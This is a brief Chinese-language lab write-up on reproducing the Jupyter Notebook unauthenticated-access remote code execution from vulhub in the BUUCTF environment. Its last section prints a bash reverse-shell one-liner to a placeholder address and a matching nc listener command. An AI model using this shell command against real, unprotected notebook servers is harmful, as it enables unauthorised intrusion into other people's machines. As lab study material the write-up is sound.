1.簡介
Jupyter Notebook(此前被稱為 IPython notebook)是一個交互式筆記本,支持運行 40 多種編程語言。
如果管理員未為Jupyter Notebook配置密碼,將導致未授權訪問漏洞,游客可在其中創建一個console並執行任意Python代碼和命令。
2.復現環境
來源於https://github.com/vulhub/vulhub/blob/master/jupyter/notebook-rce/
圖方便直接用BUUCTF的REAL環境復現
3.利用
新建一個terminal窗口,嘿嘿嘿,直接就RCE了
如下圖
4.感覺也沒啥好說的
關於反彈shell
bash -i >& /dev/tcp/x.x.x.x/8080 0>&1
然后另一邊監聽就好了
nc -lvp 8080(像這樣)